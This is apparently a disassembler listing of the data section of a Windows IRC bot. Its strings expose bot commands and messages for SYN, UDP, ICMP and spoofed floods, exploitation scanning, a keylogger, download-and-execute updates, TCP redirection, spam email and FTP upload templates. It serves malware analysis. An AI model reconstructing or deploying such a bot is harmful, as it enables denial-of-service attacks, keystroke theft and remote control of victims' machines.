dword_42DEE8	dd 4E494F4Ah, 20732520h, 7325hdword_42DEF4	dd 0A0D7325h, 0						; .nsp0:0040DFE5o ...
dword_42DEFC	dd 54524150h, 732520hdword_42DF04	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: .nsp0:loc_40DF05o
		dd 2029206Ch, 2BBBB02h
aRepeatNotAllow	db '  Repeat not allowed in command line: %s',0
		align 4
dword_42DF4C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: .nsp0:0040DECEo
		dd 2029206Ch, 2BBBB02h,	65522020h, 74616570h, 7325203Ah
		dd 0
aRepeat		db 'repeat',0           ; DATA XREF: .nsp0:0040DE7Do
		align 10h
dword_42DF80	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: .nsp0:loc_40DE35o
		dd 2029206Ch, 2BBBB02h,	65442020h, 2E79616Ch, 0
dword_42DFA8	dd 25207325h, 73252073h, 73253A20h, 0					; .nsp0:0040DEA8o ...
unk_42DFB8	db    2			; DATA XREF: .nsp0:loc_40DDA4o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  75h	; u
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aBotIdMustBeDif	db ' Bot ID must be different than current running process.',0
unk_42E010	db    2			; DATA XREF: .nsp0:0040DD9Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  75h	; u
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToStartD	db ' Failed to start download thread, error: <%d>.',0
		align 10h
unk_42E060	db    2			; DATA XREF: .nsp0:0040DD2Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  75h	; u
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aDownloadingUpd	db ' Downloading update from: %s.',0
		align 10h
aSS_exe		db '%s%s.exe',0         ; DATA XREF: .nsp0:0040DC85o
		align 4
unk_42E0AC	db    2			; DATA XREF: .nsp0:0040DC26o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  65h	; e
		db 78h,	65h, 63h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
		db 2 dup(20h), 43h
		db  6Fh	; o
		db 2 dup(6Dh), 61h
		db  6Eh	; n
		db 64h,	73h, 3Ah
		db  20h
		db 25h,	73h, 0
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  65h	; e
		db 78h,	65h, 63h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTExecute	db '  Couldn',27h,'t execute file.',0
		align 10h
unk_42E110	db    2			; DATA XREF: .nsp0:0040DB84o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_10	db '  Failed to start search thread, error: <%d>.',0
		align 10h
unk_42E160	db    2			; DATA XREF: .nsp0:0040DB0Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingFor_0	db '  Searching for file: %s in: %s.',0
		align 4
dword_42E1A4	dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
					; DATA XREF: .nsp0:loc_40DA6Co
					; .nsp0:0040E4C1o
		dd 29206C1Fh, 0BBBB0220h, 2002h
unk_42E1C4	db    2			; DATA XREF: .nsp0:0040DA54o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aRenameSToS_	db '  Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_42E1FC	db    2			; DATA XREF: .nsp0:loc_40DA32o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  69h	; i
		db 63h,	6Dh, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aInvalidFloodTi	db '  Invalid flood time must be greater than 0.',0
		align 4
unk_42E248	db    2			; DATA XREF: .nsp0:0040DA28o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  69h	; i
		db 63h,	6Dh, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartF	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_42E294	db    2			; DATA XREF: .nsp0:0040D9AEo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  69h	; i
		db 63h,	6Dh, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSForSS	db '  Flooding: (%s) for %s seconds.',0
		align 4
unk_42E2D4	db    2			; DATA XREF: .nsp0:0040D937o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  63h	; c
		db 6Ch,	6Fh, 6Eh
		db  65h	; e
		db 73h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToSta_11	db ' Failed to start clone thread, error: <%d>.',0
unk_42E320	db    2			; DATA XREF: .nsp0:0040D8C8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  63h	; c
		db 6Ch,	6Fh, 6Eh
		db  65h	; e
		db 73h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aCreatedOnSDInC	db ' Created on %s:%d, in channel %s.',0
		align 4
unk_42E364	db    2			; DATA XREF: .nsp0:0040D840o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_12	db '  Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42E3B0	db    2			; DATA XREF: .nsp0:0040D7C8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSSForS	db '  Flooding: (%s:%s) for %s seconds.',0
		align 4
dword_42E3F4	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: .nsp0:0040D733o
		dd 2029206Ch, 2BBBB02h
aFailedToSta_13	db '  Failed to start flood thread, error: <%d>.',0
		align 10h
dword_42E440	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: .nsp0:0040D6B9o
		dd 2029206Ch, 2BBBB02h
aFloodingSSFo_0	db '  Flooding: (%s:%s) for %s seconds.',0
unk_42E480	db    2			; DATA XREF: .nsp0:0040D649o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartT	db '  Failed to start transfer thread, error: <%d>.',0
		align 4
unk_42E4D4	db    2			; DATA XREF: .nsp0:0040D5DAo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloadingUrl	db '  Downloading URL: %s to: %s.',0
		align 4
unk_42E514	db    2			; DATA XREF: .nsp0:0040D50Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_14	db '  Failed to start redirection thread, error: <%d>.',0
unk_42E568	db    2			; DATA XREF: .nsp0:0040D49Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTcpRedirectCre	db '  TCP redirect created from: %s:%d to: %s:%d.',0
		align 4
unk_42E5B8	db    2			; DATA XREF: .nsp0:0040D411o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_15	db '  Failed to start scan thread, error: <%d>.',0
		align 4
unk_42E608	db    2			; DATA XREF: .nsp0:0040D3A2o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aPortScanStarte	db '  Port scan started: %s:%d with delay: %d(ms).',0
aSSS_0		db '[%s] <%s> %s',0     ; DATA XREF: .nsp0:0040D31Eo
		align 4
aSSS_1		db '[%s] * %s %s',0     ; DATA XREF: .nsp0:0040D221o
		align 4
dword_42E678	dd 54434101h, 204E4F49h, 17325h					; .nsp0:0040E1E4o
dword_42E684	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: .nsp0:0040D134o
					; .nsp0:0040EB4Bo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_16	db '  Failed to start scan thread, error: <%d>.',0
dword_42E6D0	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: .nsp0:0040D0C5o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aSExploitationS	db '  %s Exploitation started on %s:%d waiting %d seconds for %d minu'
		db 'tes using %d threads.',0
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: .nsp0:0040D09Ao
					; .nsp0:0040EAAFo
		align 4
aRandom_0	db 'Random',0           ; DATA XREF: .nsp0:0040D093o
					; .nsp0:0040EAA8o
		align 4
dword_42E75C	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: .nsp0:0040CF55o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_17	db '  Failed to start scan, no IP specified.',0
		align 4
dword_42E7A8	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: .nsp0:0040CE0Eo
					; .nsp0:0040E8F3o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aAlreadyDScanni	db '  Already %d scanning threads. Too many specified.',0
		align 4
dword_42E7FC	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: .nsp0:0040CDDDo
		dd 2029206Ch, 2BBBB02h
aFailedToSta_18	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_42E848	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: .nsp0:0040CD6Eo
		dd 2029206Ch, 2BBBB02h
aSendingDPacket	db '  Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: .nsp0:0040CCA7o
		align 4
unk_42E8BC	db    2			; DATA XREF: .nsp0:0040CC92o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_19	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_42E908	db    2			; DATA XREF: .nsp0:0040CC27o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendingDPingsT	db '  Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
dword_42E964	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: .nsp0:loc_40CB8Ao
		dd 2029206Ch, 2BBBB02h
aInvalidFlood_0	db '  Invalid flood time must be greater than 0.',0
		align 10h
dword_42E9B0	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: .nsp0:0040CB80o
		dd 2029206Ch, 2BBBB02h
aFailedToSta_20	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_42E9FC	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: .nsp0:0040CB06o
		dd 2029206Ch, 2BBBB02h
aSSFloodingSSFo	db '  %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: .nsp0:0040CAF6o
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: .nsp0:0040CAEFo
dword_42EA54	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: .nsp0:0040CA5Ao
		dd 2029206Ch, 2BBBB02h
aInvalidFloodTy	db '  Invalid flood type specified.',0
dword_42EA90	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: .nsp0:loc_40C972o
		dd 2029206Ch, 2BBBB02h
aUploadingFileS	db '  Uploading file: %s to: %s failed.',0
dword_42EAD0	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: .nsp0:0040C96Bo
		dd 2029206Ch, 2BBBB02h
aUploadingFil_0	db '  Uploading file: %s to: %s',0
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: .nsp0:0040C954o
aSS_4		db '-s:%s',0            ; DATA XREF: .nsp0:0040C93Do
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: .nsp0:0040C91Do
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: .nsp0:0040C8E8o
		align 4
dword_42EB4C	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: .nsp0:0040C862o
		dd 2029206Ch, 2BBBB02h
aFileNotFoundS_	db '  File not found: %s.',0
		align 10h
aFtp_upload	db 'ftp.upload',0       ; DATA XREF: .nsp0:0040C83Fo
		align 4
aUtil_hcon	db 'util.hcon',0        ; DATA XREF: .nsp0:0040C81Co
		align 4
aUtil_httpcon	db 'util.httpcon',0     ; DATA XREF: .nsp0:0040C805o
		align 4
unk_42EBA8	db    3			; DATA XREF: .nsp0:0040C7F8o
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	65h, 6Eh
		db  7Ah	; z
		db 31h,	30h, 62h
		db  20h
		db 3, 32h, 2Eh
		db  2Eh	; .
		db 20h,	3, 31h
		db  35h	; 5
		db 28h,	65h, 6Dh
		db  61h	; a
		db 69h,	6Ch, 3
		db  32h	; 2
		db 2Eh,	3, 31h
		db  35h	; 5
		db 6Dh,	6Fh, 64h
		db  29h	; )
		db 20h,	3, 32h
		db 0BBh	; 
		db 3, 31h, 35h
aMessageSentToS	db '  Message sent to %s.',0
		align 4
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: .nsp0:0040C784o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
a_:					; DATA XREF: .nsp0:0040C6E8o
		unicode	0, <_>,0
aUtil_email	db 'util.email',0       ; DATA XREF: .nsp0:0040C699o
		align 4
aUsa		db 'usa',0              ; DATA XREF: .nsp0:0040C682o
aDdod		db 'ddod',0             ; DATA XREF: .nsp0:0040C66Bo
		align 4
aPg		db 'pg',0               ; DATA XREF: .nsp0:0040C654o
		align 4
aDdos_pingf	db 'ddos.pingf',0       ; DATA XREF: .nsp0:0040C63Do
		align 4
aDdos_pingflood	db 'ddos.pingflood',0   ; DATA XREF: .nsp0:0040C626o
		align 4
aPu		db 'pu',0               ; DATA XREF: .nsp0:0040C60Fo
		align 4
aDdos_udpf	db 'ddos.udpf',0        ; DATA XREF: .nsp0:0040C5F8o
		align 4
aDdos_udpflood	db 'ddos.udpflood',0    ; DATA XREF: .nsp0:0040C5E1o
		align 4
aVuln_start	db 'vuln.start',0       ; DATA XREF: .nsp0:0040C5B3o
		align 10h
aClone_ac	db 'clone.ac',0         ; DATA XREF: .nsp0:0040C58Ao
		align 4
aClone_action	db 'clone.action',0     ; DATA XREF: .nsp0:0040C573o
		align 4
aClone_pm	db 'clone.pm',0         ; DATA XREF: .nsp0:0040C55Co
		align 4
aClone_privmsg	db 'clone.privmsg',0    ; DATA XREF: .nsp0:0040C545o
		align 4
aEnz_ps		db 'enz.ps',0           ; DATA XREF: .nsp0:0040C52Eo
		align 10h
aEnz_portscan	db 'enz.portscan',0     ; DATA XREF: .nsp0:0040C517o
		align 10h
aServer_rd_on	db 'server.rd.on',0     ; DATA XREF: .nsp0:0040C500o
		align 10h
aServer_redir_0	db 'server.redirect.on',0 ; DATA XREF: .nsp0:0040C4E9o
		align 4
aD1		db 'd1',0               ; DATA XREF: .nsp0:0040C4D2o
		align 4
aDownload_fromw	db 'download.fromwww',0 ; DATA XREF: .nsp0:0040C4BBo
		align 4
aSy1		db 'sy1',0              ; DATA XREF: .nsp0:0040C4A4o
aDdos_synflood	db 'ddos.synflood',0    ; DATA XREF: .nsp0:0040C48Do
		align 10h
aDs_rm		db 'ds.rm',0            ; DATA XREF: .nsp0:0040C476o
		align 4
aDs_ack		db 'ds.ack',0           ; DATA XREF: .nsp0:0040C45Fo
		align 10h
aDs_sy1		db 'ds.sy1',0           ; DATA XREF: .nsp0:0040C448o
		align 4
aClone_start	db 'clone.start',0      ; DATA XREF: .nsp0:0040C431o
aClone_make	db 'clone.make',0       ; DATA XREF: .nsp0:0040C41Ao
		align 10h
aDdos_ic	db 'ddos.ic',0          ; DATA XREF: .nsp0:0040C3F1o
aDdos_icmp	db 'ddos.icmp',0        ; DATA XREF: .nsp0:0040C3DAo
		align 4
aBox_mv		db 'box.mv',0           ; DATA XREF: .nsp0:0040C3C3o
		align 4
aBox_rename	db 'box.rename',0       ; DATA XREF: .nsp0:0040C3ACo
		align 4
aBox_ff		db 'box.ff',0           ; DATA XREF: .nsp0:0040C395o
		align 10h
aBox_findfile	db 'box.findfile',0     ; DATA XREF: .nsp0:0040C37Eo
		align 10h
aBox_e		db 'box.e',0            ; DATA XREF: .nsp0:0040C367o
		align 4
aBox_execute	db 'box.execute',0      ; DATA XREF: .nsp0:0040C350o
aDownload_upz	db 'download.upz',0     ; DATA XREF: .nsp0:0040C339o
		align 4
aDownload_updiz	db 'download.updiz',0   ; DATA XREF: .nsp0:0040C322o
		align 4
aEnz_de		db 'enz.de',0           ; DATA XREF: .nsp0:0040C30Bo
		align 4
aEnz_delay	db 'enz.delay',0        ; DATA XREF: .nsp0:0040C2F4o
		align 4
aEnz_rp		db 'enz.rp',0           ; DATA XREF: .nsp0:0040C2DDo
		align 10h
aEnz_repeat	db 'enz.repeat',0       ; DATA XREF: .nsp0:0040C2C6o
		align 4
aClone_p	db 'clone.p',0          ; DATA XREF: .nsp0:0040C2AFo
aClone_part	db 'clone.part',0       ; DATA XREF: .nsp0:0040C298o
		align 10h
aClone_j	db 'clone.j',0          ; DATA XREF: .nsp0:0040C281o
aClone_join	db 'clone.join',0       ; DATA XREF: .nsp0:0040C26Ao
		align 4
aClone_ni	db 'clone.ni',0         ; DATA XREF: .nsp0:0040C253o
		align 10h
aClone_nick	db 'clone.nick',0       ; DATA XREF: .nsp0:0040C23Co
		align 4
aClone_m	db 'clone.m',0          ; DATA XREF: .nsp0:0040C225o
aClone_mode	db 'clone.mode',0       ; DATA XREF: .nsp0:0040C20Eo
		align 10h
aClone_ra	db 'clone.ra',0         ; DATA XREF: .nsp0:0040C1F7o
		align 4
aClone_raw	db 'clone.raw',0        ; DATA XREF: .nsp0:0040C1E0o
		align 4
aEnz_m		db 'enz.m',0            ; DATA XREF: .nsp0:0040C1C9o
		align 10h
aEnz_mode	db 'enz.mode',0         ; DATA XREF: .nsp0:0040C1B2o
		align 4
aEnz_cy		db 'enz.cy',0           ; DATA XREF: .nsp0:0040C19Bo
		align 4
aEnz_cycle	db 'enz.cycle',0        ; DATA XREF: .nsp0:0040C184o
		align 10h
aEnz_ac		db 'enz.ac',0           ; DATA XREF: .nsp0:0040C16Do
		align 4
aEnz_action	db 'enz.action',0       ; DATA XREF: .nsp0:0040C156o
		align 4
aEnz_pm		db 'enz.pm',0           ; DATA XREF: .nsp0:0040C13Fo
		align 4
aEnz_privmsg	db 'enz.privmsg',0      ; DATA XREF: .nsp0:0040C128o
aEnz_aa		db 'enz.aa',0           ; DATA XREF: .nsp0:0040C111o
		align 10h
aEnz_addalias	db 'enz.addalias',0     ; DATA XREF: .nsp0:0040C0FAo
		align 10h
aEnz_gh		db 'enz.gh',0           ; DATA XREF: .nsp0:0040C0D1o
		align 4
aEnz_gethost	db 'enz.gethost',0      ; DATA XREF: .nsp0:0040C0BAo
dword_42EEF4	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: .nsp0:loc_40C06Co
		dd 2029206Ch, 2BBBB02h
aCommandUnknown	db '  Command unknown.',0
		align 4
dword_42EF24	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: .nsp0:loc_40C065o
		dd 2029206Ch, 2BBBB02h
aNoMessageSpeci	db '  No message specified.',0
dword_42EF58	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: .nsp0:loc_40C01Do
		dd 2029206Ch, 2BBBB02h
aUserListFailed	db '  User list failed.',0
dword_42EF88	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: .nsp0:0040C016o
		dd 2029206Ch, 2BBBB02h
aUserListComple	db '  User list completed.',0
		align 4
aUser		db 'user',0             ; DATA XREF: .nsp0:0040BF89o
		align 4
dword_42EFC4	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: .nsp0:loc_40BF7Eo
		dd 2029206Ch, 2BBBB02h
aShareListFaile	db '  Share list failed.',0
		align 4
dword_42EFF8	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: .nsp0:0040BF74o
		dd 2029206Ch, 2BBBB02h
aShareListCompl	db '  Share list completed.',0
aShare		db 'share',0            ; DATA XREF: .nsp0:0040BF0Co
		align 4
aDelete		db 'delete',0           ; DATA XREF: .nsp0:0040BEF1o
		align 4
aPause		db 'pause',0            ; DATA XREF: .nsp0:0040BEBEo
		align 4
aStop		db 'stop',0             ; DATA XREF: .nsp0:0040BEA6o
		align 4
dword_42F04C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: .nsp0:loc_40BE9Bo
		dd 2029206Ch, 2BBBB02h
aServiceListFai	db '  Service list failed.',0
		align 10h
dword_42F080	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: .nsp0:0040BE91o
		dd 2029206Ch, 2BBBB02h
aServiceListCom	db '  Service list completed.',0
		align 4
dword_42F0B8	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: .nsp0:0040BE0Do
		dd 2029206Ch, 2BBBB02h
aFailedToLoadAd	db '  Failed to load advapi32.dll or netapi32.dll.',0
		align 4
aBox_net	db 'box.net',0          ; DATA XREF: .nsp0:0040BDE9o
unk_42F10C	db    2			; DATA XREF: .nsp0:0040BDDCo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToSta_21	db ' Failed to start logging thread, error: <%d>.',0
		align 4
unk_42F15C	db    2			; DATA XREF: .nsp0:0040BD6Do
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aKeyLoggerActiv	db ' Key logger active.',0
unk_42F190	db    2			; DATA XREF: .nsp0:0040BCECo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aAlreadyRunni_1	db ' Already running.',0
		align 4
unk_42F1C4	db    2			; DATA XREF: .nsp0:loc_40BCD6o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aNoKeyLoggerThr	db ' No key logger thread found.',0
		align 4
unk_42F204	db    2			; DATA XREF: .nsp0:0040BCCCo
